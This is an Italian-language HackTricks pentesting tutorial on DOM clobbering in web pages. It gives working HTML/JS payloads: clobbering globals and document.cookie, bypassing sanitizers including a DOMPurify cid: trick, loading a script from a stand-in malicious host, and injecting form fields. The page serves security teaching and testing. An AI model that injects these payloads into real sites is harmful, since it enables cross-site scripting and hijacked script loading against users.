hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-10 13:03:23 +00:00

13 KiB

Dom Clobbering

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Principi di base

È possibile generare variabili globali all'interno del contesto JS con gli attributi id e name nei tag HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Solo alcuni elementi possono utilizzare l'attributo name per sovrascrivere le variabili globali, sono: embed, form, iframe, image, img e object.

Curiosamente, quando si utilizza un elemento form per sovrascrivere una variabile, si otterrà il valore toString dell'elemento stesso: [object HTMLFormElement], ma con l'ancora il toString sarà l'href dell'ancora. Pertanto, se si sovrascrive utilizzando il tag a, è possibile controllare il valore quando viene trattato come una stringa:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Array e Attributi

È anche possibile sovrascrivere un array e gli attributi di un oggetto:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Per sovrascrivere un terzo attributo (ad esempio x.y.z), è necessario utilizzare un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Sovrascrivere più attributi è più complicato ma ancora possibile, utilizzando gli iframe:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Il tag style viene utilizzato per dare abbastanza tempo all'iframe per essere renderizzato. Senza di esso, si otterrà un avviso di non definito. {% endhint %}

Per sovrascrivere attributi più profondi, è possibile utilizzare iframe con codifica HTML in questo modo:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Bypass del filtro

Se un filtro sta iterando attraverso le proprietà di un nodo utilizzando qualcosa come document.getElementByID('x').attributes, potresti sovrascrivere l'attributo .attributes e rompere il filtro. Altre proprietà del DOM come tagName, nodeName o parentNode e altre ancora sono anche sovrascrivibili.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Sovrascrittura di window.someObject

In JavaScript è comune trovare:

var someObject = window.someObject || {};

La manipolazione dell'HTML sulla pagina consente di sovrascrivere someObject con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, è possibile sostituire someObject con un elemento anchor che punta a uno script maligno:

<a id=someObject href=//malicious-website.com/malicious.js></a>

In un codice vulnerabile come:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Questo metodo sfrutta la sorgente dello script per eseguire codice indesiderato.

Trucco: DOMPurify ti permette di utilizzare il protocollo cid:, che non codifica gli apici doppi. Ciò significa che puoi iniettare un apice doppio codificato che verrà decodificato durante l'esecuzione. Pertanto, iniettare qualcosa come <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> farà sì che l'apice codificato in HTML &quot; venga decodificato durante l'esecuzione e scappi dal valore dell'attributo per creare l'evento onerror.

Un'altra tecnica utilizza un elemento form. Alcune librerie lato client ispezionano gli attributi di un elemento form appena creato per pulirli. Tuttavia, aggiungendo un input con id=attributes all'interno del form, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizer di accedere agli attributi effettivi.

Puoi trovare un esempio di questo tipo di sovrascrittura in questa descrizione di CTF.

Sovrascrittura dell'oggetto documento

Secondo la documentazione è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando la sovrascrittura del DOM:

L'interfaccia Document supporta proprietà denominate. I nomi delle proprietà supportate di un oggetto Document in un determinato momento consistono dei seguenti, in ordine gerarchico secondo l'elemento che li ha contribuiti, ignorando i duplicati successivi e con i valori degli attributi id che precedono i valori degli attributi name quando lo stesso elemento contribuisce ad entrambi:

- Il valore dell'attributo content name per tutti gli elementi esposti embed, form, iframe, img e esposti object che hanno un attributo content name non vuoto e sono in un albero di documenti con il documento come loro radice;

- Il valore dell'attributo content id per tutti gli elementi esposti object che hanno un attributo content id non vuoto e sono in un albero di documenti con il documento come loro radice;

- Il valore dell'attributo content id per tutti gli elementi img che hanno sia un attributo content id non vuoto che un attributo content name non vuoto e sono in un albero di documenti con il documento come loro radice.

Utilizzando questa tecnica puoi sovrascrivere valori comunemente utilizzati come document.cookie, document.body, document.children e persino metodi nell'interfaccia Document come document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Scrittura dopo l'elemento clobbered

I risultati delle chiamate a document.getElementById() e document.querySelector() possono essere alterati iniettando un tag <html> o <body> con un attributo id identico. Ecco come può essere fatto:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, è possibile evitare interferenze da altri testi presenti in innerText, migliorando così l'efficacia dell'attacco:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Le indagini su SVG hanno rivelato che anche un tag <body> può essere utilizzato in modo efficace:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Per far funzionare il tag HTML all'interno di SVG nei browser come Chrome e Firefox, è necessario utilizzare il tag <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Sovrascrittura dei form

È possibile aggiungere nuove voci all'interno di un form semplicemente specificando l'attributo form all'interno di alcuni tag. Puoi utilizzare questo metodo per aggiungere nuovi valori all'interno di un form e persino per aggiungere un nuovo pulsante per inviarlo (clickjacking o sfruttando del codice JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!